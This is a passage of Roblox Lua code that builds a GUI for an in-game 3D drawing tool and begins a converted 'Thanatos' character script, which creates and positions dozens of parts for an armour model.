Frame4.Size = UDim2.new(0, 3, 1, 0)
Frame4.Position = UDim2.new(1, 0, 0, 0)
Frame4.BackgroundColor3 = Color3.new(1, 1, 1)
Frame4.BorderSizePixel = 0
Frame5.Parent = Frame1
Frame5.Size = UDim2.new(1, 0, 0, 3)
Frame5.Position = UDim2.new(0, 0, 0, -3)
Frame5.BackgroundColor3 = Color3.new(1, 1, 1)
Frame5.BorderSizePixel = 0
Frame6.Parent = Frame1
Frame6.Size = UDim2.new(1, 0, 0, 3)
Frame6.Position = UDim2.new(0, 0, 1, 0)
Frame6.BackgroundColor3 = Color3.new(1, 1, 1)
Frame6.BorderSizePixel = 0
TextLabel7.Parent = Frame1
TextLabel7.Size = UDim2.new(0, 95, 0, 25)
TextLabel7.Text = "Thickness (m/n)"
TextLabel7.Position = UDim2.new(0, 5, 0, 25)
TextLabel7.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel7.BackgroundTransparency = 1
TextLabel7.Font = Enum.Font.SourceSansBold
TextLabel7.TextSize = 20
TextLabel7.TextColor3 = Color3.new(1, 1, 1)
TextLabel7.TextStrokeColor3 = Color3.new(1, 1, 1)
TextLabel7.TextXAlignment = Enum.TextXAlignment.Left
TextLabel8.Parent = Frame1
TextLabel8.Size = UDim2.new(0, 95, 0, 25)
TextLabel8.Text = "Can Collide (c)"
TextLabel8.Position = UDim2.new(0, 5, 0, 50)
TextLabel8.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel8.BackgroundTransparency = 1
TextLabel8.Font = Enum.Font.SourceSansBold
TextLabel8.TextSize = 20
TextLabel8.TextColor3 = Color3.new(1, 1, 1)
TextLabel8.TextStrokeColor3 = Color3.new(1, 1, 1)
TextLabel8.TextXAlignment = Enum.TextXAlignment.Left
TextLabel9.Parent = Frame1
TextLabel9.Size = UDim2.new(0, 95, 0, 25)
TextLabel9.Text = "Opacity (b/v)"
TextLabel9.Position = UDim2.new(0, 5, 0, 75)
TextLabel9.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel9.BackgroundTransparency = 1
TextLabel9.Font = Enum.Font.SourceSansBold
TextLabel9.TextSize = 20
TextLabel9.TextColor3 = Color3.new(1, 1, 1)
TextLabel9.TextStrokeColor3 = Color3.new(1, 1, 1)
TextLabel9.TextXAlignment = Enum.TextXAlignment.Left
TextLabel10.Parent = Frame1
TextLabel10.Size = UDim2.new(0, 95, 0, 25)
TextLabel10.Text = "Color (r)"
TextLabel10.Position = UDim2.new(0, 5, 0, 100)
TextLabel10.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel10.BackgroundTransparency = 1
TextLabel10.Font = Enum.Font.SourceSansBold
TextLabel10.TextSize = 20
TextLabel10.TextColor3 = Color3.new(1, 1, 1)
TextLabel10.TextStrokeColor3 = Color3.new(1, 1, 1)
TextLabel10.TextXAlignment = Enum.TextXAlignment.Left
Frame11.Name = "Color"
Frame11.Parent = Frame1
Frame11.Transparency = 0.80000001192093
Frame11.Size = UDim2.new(0, 121, 0, 115)
Frame11.Position = UDim2.new(0, 201, 0, 15)
Frame11.BackgroundColor3 = Color3.new(0.0470588, 0.0509804, 0.0588235)
Frame11.BackgroundTransparency = 0.80000001192093
Frame11.BorderColor3 = Color3.new(1, 1, 1)
Frame11.BorderSizePixel = 0
Frame11.Draggable = true
Frame12.Parent = Frame11
Frame12.Size = UDim2.new(0, 3, 1, 0)
Frame12.Position = UDim2.new(1, 0, 0, 0)
Frame12.BackgroundColor3 = Color3.new(1, 1, 1)
Frame12.BorderSizePixel = 0
Frame13.Parent = Frame11
Frame13.Size = UDim2.new(1, 0, 0, 3)
Frame13.Position = UDim2.new(0, 0, 0, -3)
Frame13.BackgroundColor3 = Color3.new(1, 1, 1)
Frame13.BorderSizePixel = 0
Frame14.Parent = Frame11
Frame14.Size = UDim2.new(1, 0, 0, 3)
Frame14.Position = UDim2.new(0, 0, 1, 0)
Frame14.BackgroundColor3 = Color3.new(1, 1, 1)
Frame14.BorderSizePixel = 0
Frame15.Parent = Frame11
Frame15.Size = UDim2.new(0, 3, 1, 0)
Frame15.Position = UDim2.new(0, -3, 0, 0)
Frame15.BackgroundColor3 = Color3.new(1, 1, 1)
Frame15.BorderSizePixel = 0
Frame16.Name = "Picker"
Frame16.Parent = Frame11
Frame16.Transparency = 1
Frame16.Size = UDim2.new(0, 286, 0, 255)
Frame16.Position = UDim2.new(0, -372, 0, -55)
Frame16.BackgroundColor3 = Color3.new(0.498039, 0.247059, 0.247059)
Frame16.BackgroundTransparency = 1
Frame16.BorderColor3 = Color3.new(0, 0, 0)
ImageButton17.Name = "SV"
ImageButton17.Parent = Frame16
ImageButton17.Size = UDim2.new(0, 101, 0, 105)
ImageButton17.Position = UDim2.new(0, 377, 0, 60)
ImageButton17.BackgroundColor3 = Color3.new(1, 0, 0)
ImageButton17.BorderColor3 = Color3.new(0, 0, 0)
ImageButton17.BorderSizePixel = 0
ImageButton17.AutoButtonColor = false
ImageButton17.Image = "http://www.roblox.com/asset/?id=42462986"
TextLabel18.Name = "Locator"
TextLabel18.Parent = ImageButton17
TextLabel18.Text = "o"
TextLabel18.Position = UDim2.new(0.5, 0, 0.5, 0)
TextLabel18.BorderColor3 = Color3.new(0, 0, 0)
TextLabel18.FontSize = Enum.FontSize.Size12
TextLabel18.TextColor3 = Color3.new(1, 1, 1)
ImageButton19.Name = "H"
ImageButton19.Parent = Frame16
ImageButton19.Size = UDim2.new(0, 10, 0, 105)
ImageButton19.Position = UDim2.new(0, 477, 0, 60)
ImageButton19.BorderColor3 = Color3.new(0, 0, 0)
ImageButton19.BorderSizePixel = 0
ImageButton19.AutoButtonColor = false
ImageButton19.Image = "http://www.roblox.com/asset/?id=42463044"
LocalScript20.Parent = Frame16
Color3Value21.Name = "Col"
Color3Value21.Parent = Frame11
TextLabel22.Name = "ColorT"
TextLabel22.Parent = Frame1
TextLabel22.Size = UDim2.new(0, 65, 0, 25)
TextLabel22.Text = "0, 0, 0"
TextLabel22.Position = UDim2.new(0, 126, 0, 100)
TextLabel22.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel22.BackgroundTransparency = 1
TextLabel22.Font = Enum.Font.SourceSansBold
TextLabel22.TextSize = 20
TextLabel22.TextColor3 = Color3.new(1, 1, 1)
TextLabel22.TextScaled = true
TextLabel22.TextStrokeColor3 = Color3.new(1, 1, 1)
TextLabel22.TextWrapped = true
TextLabel23.Name = "Transparent"
TextLabel23.Parent = Frame1
TextLabel23.Size = UDim2.new(0, 25, 0, 25)
TextLabel23.Text = "0"
TextLabel23.Position = UDim2.new(0, 146, 0, 75)
TextLabel23.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel23.BackgroundTransparency = 1
TextLabel23.Font = Enum.Font.SourceSansBold
TextLabel23.TextSize = 20
TextLabel23.TextColor3 = Color3.new(1, 1, 1)
TextLabel23.TextStrokeColor3 = Color3.new(1, 1, 1)
TextLabel23.TextWrapped = true
TextLabel24.Name = "CanCollide"
TextLabel24.Parent = Frame1
TextLabel24.Size = UDim2.new(0, 55, 0, 25)
TextLabel24.Text = "false"
TextLabel24.Position = UDim2.new(0, 131, 0, 50)
TextLabel24.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel24.BackgroundTransparency = 1
TextLabel24.Font = Enum.Font.SourceSansBold
TextLabel24.TextSize = 20
TextLabel24.TextColor3 = Color3.new(1, 1, 1)
TextLabel24.TextStrokeColor3 = Color3.new(1, 1, 1)
TextLabel24.TextWrapped = true
TextLabel25.Name = "Thickness"
TextLabel25.Parent = Frame1
TextLabel25.Size = UDim2.new(0, 25, 0, 25)
TextLabel25.Text = "1"
TextLabel25.Position = UDim2.new(0, 146, 0, 25)
TextLabel25.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel25.BackgroundTransparency = 1
TextLabel25.Font = Enum.Font.SourceSansBold
TextLabel25.TextSize = 20
TextLabel25.TextColor3 = Color3.new(1, 1, 1)
TextLabel25.TextStrokeColor3 = Color3.new(1, 1, 1)
TextLabel25.TextWrapped = true
presets = GUI.Settings
colors = presets.Color
function round(num, numDecimalPlaces)
local mult = 10^(numDecimalPlaces or 0)
return tostring(math.floor(num * mult + 0.5) / mult)
end
spawn(function()
local frame = colors.Picker
local sv = frame.SV
local h = frame.H
local locator = sv.Locator
local hue = 0
local saturation = 0.5
local value = 0.5
local changingHue = false
local changingSv = false
function getRGBfromHue()
local r,g,b = 0,0,0
if hue>=120 and hue<=240 then r = 0
elseif hue>=300 or hue<=60 then r = 1
elseif hue>60 and hue<120 then r = 1-(hue-60)/60
elseif hue>240 and hue<300 then r = (hue-240)/60
end
if hue>=240 and hue<=360 then g = 0
elseif hue>=60 and hue<=180 then g = 1
elseif hue>180 and hue<240 then g = 1-(hue-180)/60
elseif hue<60 then g = hue/60
end
if hue<=120 then b = 0
elseif hue>=180 and hue<=300 then b = 1
elseif hue>120 and hue<180 then b = (hue-120)/60
elseif hue>300 and hue<360 then b = 1-(hue-300)/60
end
return r,g,b
end
function changeHue(x,y)
if not changingHue then return end
hue = 360*(1-(y-h.AbsolutePosition.y)/h.AbsoluteSize.y)+85
local r,g,b = getRGBfromHue()
sv.BackgroundColor3 = Color3.new(r,g,b)
toRGB()
end
function changeSv(x,y)
if not changingSv then return end
local x,y = x-sv.AbsolutePosition.x,y-sv.AbsolutePosition.y-35
locator.Position = UDim2.new(0,x,0,y)
if y>=(sv.AbsoluteSize.y)/2 then locator.TextColor3 = Color3.new(1,1,1) else locator.TextColor3 = Color3.new(0,0,0) end
saturation,value = 1-(x/sv.AbsoluteSize.x), 1-(y/sv.AbsoluteSize.y)
toRGB()
end
function toRGB()
local r,g,b = getRGBfromHue()
local max = math.max(r,g,b)
r,g,b = value*(r+saturation*(max-r)),value*(g+saturation*(max-g)),value*(b+saturation*(max-b))
colors.Col.Value = Color3.new(r,g,b)
end
h.MouseButton1Down:connect(function(x,y) changingHue = true changeHue(x,y) end)
h.MouseButton1Up:connect(function() changingHue = false end)
h.MouseMoved:connect(changeHue)
sv.MouseButton1Down:connect(function(x,y) changingSv = true changeSv(x,y) end)
sv.MouseButton1Up:connect(function() changingSv = false end)
sv.MouseMoved:connect(changeSv)
end)
spawn(function()
while wait() do
if transparency < 0 then transparency = 0 end
if transparency > 1 then transparency = 0 end
color = colors.Col.Value
local c = color
if c.r < 0 then
c = Color3.new(0,c.g,c.b)
end
if c.g < 0 then
c = Color3.new(c.r,0,c.b)
end
if c.b < 0 then
c = Color3.new(c.r,c.g,0)
end
if c.r > 1 then
c = Color3.new(1,c.g,c.b)
end
if c.g > 1 then
c = Color3.new(c.r,1,c.b)
end
if c.b > 1 then
c = Color3.new(c.r,c.g,1)
end
color = c
colors.Col.Value = c
presets.ColorT.Text = round(color.r,1)..", "..round(color.g,1)..", "..round(color.b,1)
presets.Transparent.Text = tostring(transparency)
local th = tostring(thickness)
if thickness < 0.15 then
th = '0.1'
end
presets.Thickness.Text = tostring(th)
presets.CanCollide.Text = tostring(canCollide)
end
end)
local UIS = game:GetService("UserInputService")
UIS.InputEnded:connect(function(k,g)
if k.KeyCode == Enum.KeyCode.Equals and not g then
enabled = not enabled
end
end)
drawings = Instance.new("Model",workspace)
drawings.Name = "Drawings"
lastd = nil
spawn(function()
while wait() do
mouse = plr:GetMouse()
if drawings == nil then
drawings = Instance.new("Model",workspace)
drawings.Name = "Drawings"
end
if drawings.Parent ~= workspace then
drawings.Parent = workspace
end
end
end)
canCollide = false
canStack = false
thickness = 1
color = Color3.new(1,0,0)
transparency = 0
interval = 0.1
rainbow = false
lastm = nil
drawing = false
neon = false
local zDown = false
mdown = false
ndown = false
bdown = false
vdown = false
spawn(function()
while wait() do
if ndown == true then
if not (thickness < 0.2) then
thickness = thickness - 0.2
end
end
if mdown == true then
if (thickness < 20) then
thickness = thickness + 0.2
end
end
if bdown == true then
if (transparency < 0.9) then
transparency = transparency + 0.1
wait(0.1)
end
end
if vdown == true then
if (transparency > 0) then
transparency = transparency - 0.1
end
if string.sub(tostring(transparency),1,3) == "2.7" then transparency = 0 end
wait(0.1)
end
end
end)
killer = false
mouse.KeyDown:connect(function(k)
if enabled == false then return end
local key = k:lower()
if key == "m" then
mdown = true
end
if key == "q" then
killer = not killer
end
if key == "n" then
ndown = true
end
if key == "x" then
neon = not neon
end
if key == "b" then
bdown = true
end
if key == "v" then
vdown = true
end
if key == "z" then
zDown = true
local draw = drawings[#drawings:GetChildren()]
if not draw then return end
draw:Destroy()
end
if key == "f" then
drawings:ClearAllChildren()
end
if key == "r" then
rainbow = not rainbow
end
if key == "c" then
canCollide = not canCollide
end
end)
mouse.KeyUp:connect(function(k)
local key = k:lower()
if key == "m" then
mdown = false
end
if key == "n" then
ndown = false
end
if key == "b" then
bdown = false
end
if key == "v" then
vdown = false
end
if key == "z" then
zDown = false
end
end)
local uis = game:GetService("UserInputService")
uis.InputBegan:connect(function(k,g)
if g then return end
if k.UserInputType == Enum.UserInputType.MouseButton1 then
drawing = true
end
end)
uis.InputEnded:connect(function(k,g)
if k.UserInputType == Enum.UserInputType.MouseButton1 then
drawing = false
end
end)
spawn(function()
while wait() do
if zDown == true then
local zWasUp = false
local n = 0
repeat wait() if zDown == false then zWasUp = true end n = n + 0.5 until n >= 10
if zDown == true and zWasUp == false then
repeat
game:GetService("RunService").RenderStepped:Wait()
pcall(function()
local draw = drawings[#drawings:GetChildren()]
draw:Destroy()
end)
until zDown == false
end
end
end
end)
mouse.TargetFilter = drawings
ldraw = nil
game:GetService("RunService").RenderStepped:connect(function()
if drawing == false then
lastm = mouse.Hit.p
ldraw = nil
end
print(drawing)
if drawing == true and (lastm ~= mouse.Hit.p) and enabled then
local mp = mouse.Hit.p
local mh = mouse.Hit
local mt = mouse.Target
if not ldraw then lastm = mp end
if true then
if (mp - lastm).magnitude < thickness*1.5 and ldraw then return end
local draw = Instance.new("Part",drawings)
draw.Name = #drawings:GetChildren()
draw.Anchored = true
draw.CanCollide = canCollide
if neon then
draw.Material = "Neon"
else
draw.Material = "SmoothPlastic"
end
draw.Transparency = transparency
draw.CFrame = CFrame.new((lastm + mouse.Hit.p)/2,lastm)
draw.Size = Vector3.new(0,0,(lastm - mp).magnitude)
tween(draw, "Sine", "Out", 0.1, {
Size = Vector3.new(thickness,thickness,(lastm - mp).magnitude)
})
local orr = draw.Size
if killer then
coroutine.resume(coroutine.create(function()
local oz = Vector3.new(thickness,thickness,(lastm - mp).magnitude)
while draw and draw.Parent == drawings do
local t = tween(draw, "Sine", "InOut", 0.5, {
Size = oz * 1.2 + Vector3.new(0.25,0.25,0)
})
t.Completed:Wait(0)
local t = tween(draw, "Sine", "InOut", 0.5, {
Size = oz
})
t.Completed:Wait(0)
end
end))
end
if rainbow == false then
draw.Color = color
else
local start = 0
spawn(function()
local rs = 1
while game:GetService("RunService").RenderStepped:Wait() do
game:GetService("RunService").RenderStepped:Wait()
game:GetService("RunService").RenderStepped:Wait()
if draw == nil or draw.Parent == nil then break end
rs = rs + 0.2
local r = (math.sin(start/2)/2)+0.5
local g = (math.sin(start)/2)+0.5
local b = (math.sin(start*1.5)/2)+0.5
local color3 = Color3.new(r, g, b)
draw.Color = color3
start = start + interval + math.abs(math.sin(rs))/10
end
end)
end
ldraw = draw
end
end
lastm = mouse.Hit.p
end)
end)
end;
task.spawn(C_81);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_85()
local script = G2L["85"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
-- Thanatos Script, by yeox769.
-- Built with my Yeox Engine.
-- Credit goes to Ucalegen/Fenrier for the clerp function, as well as the functions required to make it work.
-- If you somehow managed to get this script, you may edit it.
-- If you do edit this, however, please give credit in some way.
-- If you leak this, please at least give credit.
-- I'd prefer if you didn't leak this at all though, but I know you people are going to anyway.
--Converted with ttyyuu12345's model to script plugin v4
function sandbox(var,func)
local env = getfenv(func)
local newenv = setmetatable({},{
__index = function(self,k)
if k=="script" then
return var
else
return env[k]
end
end,
})
setfenv(func,newenv)
return func
end
cors = {}
mas = Instance.new("Model",game:GetService("Lighting"))
Model0 = Instance.new("Model")
Model1 = Instance.new("Model")
Part2 = Instance.new("Part")
WedgePart3 = Instance.new("WedgePart")
Part4 = Instance.new("Part")
BlockMesh5 = Instance.new("BlockMesh")
Part6 = Instance.new("Part")
BlockMesh7 = Instance.new("BlockMesh")
Part8 = Instance.new("Part")
BlockMesh9 = Instance.new("BlockMesh")
Part10 = Instance.new("Part")
BlockMesh11 = Instance.new("BlockMesh")
WedgePart12 = Instance.new("WedgePart")
WedgePart13 = Instance.new("WedgePart")
WedgePart14 = Instance.new("WedgePart")
WedgePart15 = Instance.new("WedgePart")
WedgePart16 = Instance.new("WedgePart")
WedgePart17 = Instance.new("WedgePart")
WedgePart18 = Instance.new("WedgePart")
WedgePart19 = Instance.new("WedgePart")
WedgePart20 = Instance.new("WedgePart")
WedgePart21 = Instance.new("WedgePart")
WedgePart22 = Instance.new("WedgePart")
WedgePart23 = Instance.new("WedgePart")
Part24 = Instance.new("Part")
BlockMesh25 = Instance.new("BlockMesh")
Part26 = Instance.new("Part")
BlockMesh27 = Instance.new("BlockMesh")
Part28 = Instance.new("Part")
BlockMesh29 = Instance.new("BlockMesh")
Part30 = Instance.new("Part")
BlockMesh31 = Instance.new("BlockMesh")
Part32 = Instance.new("Part")
BlockMesh33 = Instance.new("BlockMesh")
Part34 = Instance.new("Part")
BlockMesh35 = Instance.new("BlockMesh")
Part36 = Instance.new("Part")
BlockMesh37 = Instance.new("BlockMesh")
Part38 = Instance.new("Part")
BlockMesh39 = Instance.new("BlockMesh")
Part40 = Instance.new("Part")
BlockMesh41 = Instance.new("BlockMesh")
Part42 = Instance.new("Part")
BlockMesh43 = Instance.new("BlockMesh")
Part44 = Instance.new("Part")
BlockMesh45 = Instance.new("BlockMesh")
Part46 = Instance.new("Part")
BlockMesh47 = Instance.new("BlockMesh")
Part48 = Instance.new("Part")
Decal49 = Instance.new("Decal")
Part50 = Instance.new("Part")
Part51 = Instance.new("Part")
WedgePart52 = Instance.new("WedgePart")
WedgePart53 = Instance.new("WedgePart")
WedgePart54 = Instance.new("WedgePart")
Model55 = Instance.new("Model")
Part56 = Instance.new("Part")
Model57 = Instance.new("Model")
Part58 = Instance.new("Part")
WedgePart59 = Instance.new("WedgePart")
Part60 = Instance.new("Part")
BlockMesh61 = Instance.new("BlockMesh")
Part62 = Instance.new("Part")
BlockMesh63 = Instance.new("BlockMesh")
WedgePart64 = Instance.new("WedgePart")
WedgePart65 = Instance.new("WedgePart")
WedgePart66 = Instance.new("WedgePart")
WedgePart67 = Instance.new("WedgePart")
WedgePart68 = Instance.new("WedgePart")
WedgePart69 = Instance.new("WedgePart")
WedgePart70 = Instance.new("WedgePart")
WedgePart71 = Instance.new("WedgePart")
WedgePart72 = Instance.new("WedgePart")
WedgePart73 = Instance.new("WedgePart")
WedgePart74 = Instance.new("WedgePart")
WedgePart75 = Instance.new("WedgePart")
WedgePart76 = Instance.new("WedgePart")
Part77 = Instance.new("Part")
BlockMesh78 = Instance.new("BlockMesh")
Part79 = Instance.new("Part")
BlockMesh80 = Instance.new("BlockMesh")
Part81 = Instance.new("Part")
BlockMesh82 = Instance.new("BlockMesh")
Part83 = Instance.new("Part")
BlockMesh84 = Instance.new("BlockMesh")
Part85 = Instance.new("Part")
BlockMesh86 = Instance.new("BlockMesh")
Part87 = Instance.new("Part")
BlockMesh88 = Instance.new("BlockMesh")
Part89 = Instance.new("Part")
BlockMesh90 = Instance.new("BlockMesh")
Part91 = Instance.new("Part")
BlockMesh92 = Instance.new("BlockMesh")
Part93 = Instance.new("Part")
BlockMesh94 = Instance.new("BlockMesh")
Part95 = Instance.new("Part")
BlockMesh96 = Instance.new("BlockMesh")
Part97 = Instance.new("Part")
BlockMesh98 = Instance.new("BlockMesh")
Part99 = Instance.new("Part")
BlockMesh100 = Instance.new("BlockMesh")
Part101 = Instance.new("Part")
BlockMesh102 = Instance.new("BlockMesh")
Part103 = Instance.new("Part")
BlockMesh104 = Instance.new("BlockMesh")
Part105 = Instance.new("Part")
Part106 = Instance.new("Part")
WedgePart107 = Instance.new("WedgePart")
WedgePart108 = Instance.new("WedgePart")
Model109 = Instance.new("Model")
Part110 = Instance.new("Part")
Model111 = Instance.new("Model")
Part112 = Instance.new("Part")
Part113 = Instance.new("Part")
BlockMesh114 = Instance.new("BlockMesh")
Part115 = Instance.new("Part")
BlockMesh116 = Instance.new("BlockMesh")
Part117 = Instance.new("Part")
BlockMesh118 = Instance.new("BlockMesh")
Part119 = Instance.new("Part")
CylinderMesh120 = Instance.new("CylinderMesh")
Part121 = Instance.new("Part")
CylinderMesh122 = Instance.new("CylinderMesh")
Part123 = Instance.new("Part")
BlockMesh124 = Instance.new("BlockMesh")
Part125 = Instance.new("Part")
CylinderMesh126 = Instance.new("CylinderMesh")
Part127 = Instance.new("Part")
CylinderMesh128 = Instance.new("CylinderMesh")
Part129 = Instance.new("Part")
BlockMesh130 = Instance.new("BlockMesh")
Part131 = Instance.new("Part")
BlockMesh132 = Instance.new("BlockMesh")
WedgePart133 = Instance.new("WedgePart")
SpecialMesh134 = Instance.new("SpecialMesh")
WedgePart135 = Instance.new("WedgePart")
SpecialMesh136 = Instance.new("SpecialMesh")
WedgePart137 = Instance.new("WedgePart")
WedgePart138 = Instance.new("WedgePart")
WedgePart139 = Instance.new("WedgePart")
SpecialMesh140 = Instance.new("SpecialMesh")
WedgePart141 = Instance.new("WedgePart")
SpecialMesh142 = Instance.new("SpecialMesh")
WedgePart143 = Instance.new("WedgePart")
SpecialMesh144 = Instance.new("SpecialMesh")
WedgePart145 = Instance.new("WedgePart")
WedgePart146 = Instance.new("WedgePart")
WedgePart147 = Instance.new("WedgePart")
WedgePart148 = Instance.new("WedgePart")
WedgePart149 = Instance.new("WedgePart")
SpecialMesh150 = Instance.new("SpecialMesh")
WedgePart151 = Instance.new("WedgePart")
SpecialMesh152 = Instance.new("SpecialMesh")
WedgePart153 = Instance.new("WedgePart")
SpecialMesh154 = Instance.new("SpecialMesh")
WedgePart155 = Instance.new("WedgePart")
SpecialMesh156 = Instance.new("SpecialMesh")
WedgePart157 = Instance.new("WedgePart")
SpecialMesh158 = Instance.new("SpecialMesh")
WedgePart159 = Instance.new("WedgePart")
SpecialMesh160 = Instance.new("SpecialMesh")
WedgePart161 = Instance.new("WedgePart")
SpecialMesh162 = Instance.new("SpecialMesh")
WedgePart163 = Instance.new("WedgePart")
SpecialMesh164 = Instance.new("SpecialMesh")
WedgePart165 = Instance.new("WedgePart")
SpecialMesh166 = Instance.new("SpecialMesh")
WedgePart167 = Instance.new("WedgePart")
SpecialMesh168 = Instance.new("SpecialMesh")
WedgePart169 = Instance.new("WedgePart")
SpecialMesh170 = Instance.new("SpecialMesh")
WedgePart171 = Instance.new("WedgePart")
SpecialMesh172 = Instance.new("SpecialMesh")
WedgePart173 = Instance.new("WedgePart")
SpecialMesh174 = Instance.new("SpecialMesh")
WedgePart175 = Instance.new("WedgePart")
SpecialMesh176 = Instance.new("SpecialMesh")
WedgePart177 = Instance.new("WedgePart")
SpecialMesh178 = Instance.new("SpecialMesh")
WedgePart179 = Instance.new("WedgePart")
WedgePart180 = Instance.new("WedgePart")
SpecialMesh181 = Instance.new("SpecialMesh")
WedgePart182 = Instance.new("WedgePart")
SpecialMesh183 = Instance.new("SpecialMesh")
WedgePart184 = Instance.new("WedgePart")
SpecialMesh185 = Instance.new("SpecialMesh")
WedgePart186 = Instance.new("WedgePart")
SpecialMesh187 = Instance.new("SpecialMesh")
WedgePart188 = Instance.new("WedgePart")
SpecialMesh189 = Instance.new("SpecialMesh")
WedgePart190 = Instance.new("WedgePart")
Part191 = Instance.new("Part")
BlockMesh192 = Instance.new("BlockMesh")
Part193 = Instance.new("Part")
BlockMesh194 = Instance.new("BlockMesh")
Part195 = Instance.new("Part")
BlockMesh196 = Instance.new("BlockMesh")
Part197 = Instance.new("Part")
BlockMesh198 = Instance.new("BlockMesh")
Part199 = Instance.new("Part")
BlockMesh200 = Instance.new("BlockMesh")
Part201 = Instance.new("Part")
BlockMesh202 = Instance.new("BlockMesh")
Part203 = Instance.new("Part")
CylinderMesh204 = Instance.new("CylinderMesh")
Part205 = Instance.new("Part")
CylinderMesh206 = Instance.new("CylinderMesh")
Part207 = Instance.new("Part")
CylinderMesh208 = Instance.new("CylinderMesh")
Part209 = Instance.new("Part")
CylinderMesh210 = Instance.new("CylinderMesh")
Part211 = Instance.new("Part")
CylinderMesh212 = Instance.new("CylinderMesh")
Part213 = Instance.new("Part")
CylinderMesh214 = Instance.new("CylinderMesh")
Part215 = Instance.new("Part")
BlockMesh216 = Instance.new("BlockMesh")
Part217 = Instance.new("Part")
BlockMesh218 = Instance.new("BlockMesh")
Part219 = Instance.new("Part")
BlockMesh220 = Instance.new("BlockMesh")
Part221 = Instance.new("Part")
BlockMesh222 = Instance.new("BlockMesh")
Part223 = Instance.new("Part")
BlockMesh224 = Instance.new("BlockMesh")
Part225 = Instance.new("Part")
BlockMesh226 = Instance.new("BlockMesh")
Part227 = Instance.new("Part")
BlockMesh228 = Instance.new("BlockMesh")
Part229 = Instance.new("Part")
BlockMesh230 = Instance.new("BlockMesh")
Part231 = Instance.new("Part")
BlockMesh232 = Instance.new("BlockMesh")
Part233 = Instance.new("Part")
BlockMesh234 = Instance.new("BlockMesh")
Part235 = Instance.new("Part")
BlockMesh236 = Instance.new("BlockMesh")
Part237 = Instance.new("Part")
BlockMesh238 = Instance.new("BlockMesh")
Part239 = Instance.new("Part")
BlockMesh240 = Instance.new("BlockMesh")
Part241 = Instance.new("Part")
BlockMesh242 = Instance.new("BlockMesh")
Part243 = Instance.new("Part")
BlockMesh244 = Instance.new("BlockMesh")
Part245 = Instance.new("Part")
BlockMesh246 = Instance.new("BlockMesh")
Part247 = Instance.new("Part")
BlockMesh248 = Instance.new("BlockMesh")
Part249 = Instance.new("Part")
BlockMesh250 = Instance.new("BlockMesh")
Part251 = Instance.new("Part")
BlockMesh252 = Instance.new("BlockMesh")
Part253 = Instance.new("Part")
BlockMesh254 = Instance.new("BlockMesh")
Part255 = Instance.new("Part")
BlockMesh256 = Instance.new("BlockMesh")
Part257 = Instance.new("Part")
BlockMesh258 = Instance.new("BlockMesh")
Part259 = Instance.new("Part")
BlockMesh260 = Instance.new("BlockMesh")
Part261 = Instance.new("Part")
BlockMesh262 = Instance.new("BlockMesh")
Part263 = Instance.new("Part")
BlockMesh264 = Instance.new("BlockMesh")
Part265 = Instance.new("Part")
BlockMesh266 = Instance.new("BlockMesh")
Part267 = Instance.new("Part")
BlockMesh268 = Instance.new("BlockMesh")
Part269 = Instance.new("Part")
BlockMesh270 = Instance.new("BlockMesh")
Part271 = Instance.new("Part")
BlockMesh272 = Instance.new("BlockMesh")
Part273 = Instance.new("Part")
BlockMesh274 = Instance.new("BlockMesh")
Part275 = Instance.new("Part")
BlockMesh276 = Instance.new("BlockMesh")
Part277 = Instance.new("Part")
BlockMesh278 = Instance.new("BlockMesh")
Part279 = Instance.new("Part")
BlockMesh280 = Instance.new("BlockMesh")
Script281 = Instance.new("Script")
Model0.Name = "Sonarmor"
Model0.Parent = mas
Model1.Name = "LeftArm"
Model1.Parent = Model0
Part2.Name = "Left Arm1"
Part2.Parent = Model1
Part2.BrickColor = BrickColor.new("Pastel yellow")
Part2.Transparency = 1
Part2.Rotation = Vector3.new(-180, -90, 0)
Part2.Anchored = true
Part2.CanCollide = false
Part2.FormFactor = Enum.FormFactor.Symmetric
Part2.Size = Vector3.new(1, 2, 1)
Part2.CFrame = CFrame.new(84.721138, 2.97380614, 69.5937424, 8.15038344e-21, 2.35065841e-06, -1, 9.82558322e-19, -1, -2.35065841e-06, -1, -9.82558322e-19, -8.15269293e-21)
Part2.Color = Color3.new(1, 1, 0.8)
Part2.Position = Vector3.new(84.721138, 2.97380614, 69.5937424)
Part2.Orientation = Vector3.new(0, -90, 180)
Part2.Color = Color3.new(1, 1, 0.8)
WedgePart3.Parent = Model1
WedgePart3.Material = Enum.Material.SmoothPlastic
WedgePart3.BrickColor = BrickColor.new("Navy blue")
WedgePart3.Reflectance = 0.0049999998882413
WedgePart3.Rotation = Vector3.new(13.4300003, 0, 90)
WedgePart3.Anchored = true
WedgePart3.CanCollide = false
WedgePart3.FormFactor = Enum.FormFactor.Symmetric
WedgePart3.Size = Vector3.new(0.220499977, 0.385874987, 0.79909116)
WedgePart3.CFrame = CFrame.new(84.5220337, 5.39255524, 67.3724747, 1.1144477e-07, -0.999996722, 9.83477548e-07, 0.972667575, -1.19206263e-07, -0.232179835, 0.232180044, 9.53674146e-07, 0.972667694)
WedgePart3.BottomSurface = Enum.SurfaceType.Smooth
WedgePart3.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart3.Position = Vector3.new(84.5220337, 5.39255524, 67.3724747)
WedgePart3.Orientation = Vector3.new(13.4300003, 0, 90)
WedgePart3.Color = Color3.new(0, 0.12549, 0.376471)
Part4.Name = "Brick"
Part4.Parent = Model1
Part4.Material = Enum.Material.SmoothPlastic
Part4.BrickColor = BrickColor.new("Navy blue")
Part4.Rotation = Vector3.new(0, 90, 0)
Part4.Anchored = true
Part4.CanCollide = false
Part4.FormFactor = Enum.FormFactor.Symmetric
Part4.Size = Vector3.new(1.19828081, 0.570214629, 1.1971724)
Part4.CFrame = CFrame.new(84.7160492, 2.46017599, 69.6111679, -1.74450037e-07, -1.85120143e-06, 1, -4.62681055e-06, 0.99999994, 1.85119507e-06, -0.99999994, -4.62681055e-06, -1.74458165e-07)
Part4.BottomSurface = Enum.SurfaceType.Smooth
Part4.TopSurface = Enum.SurfaceType.Smooth
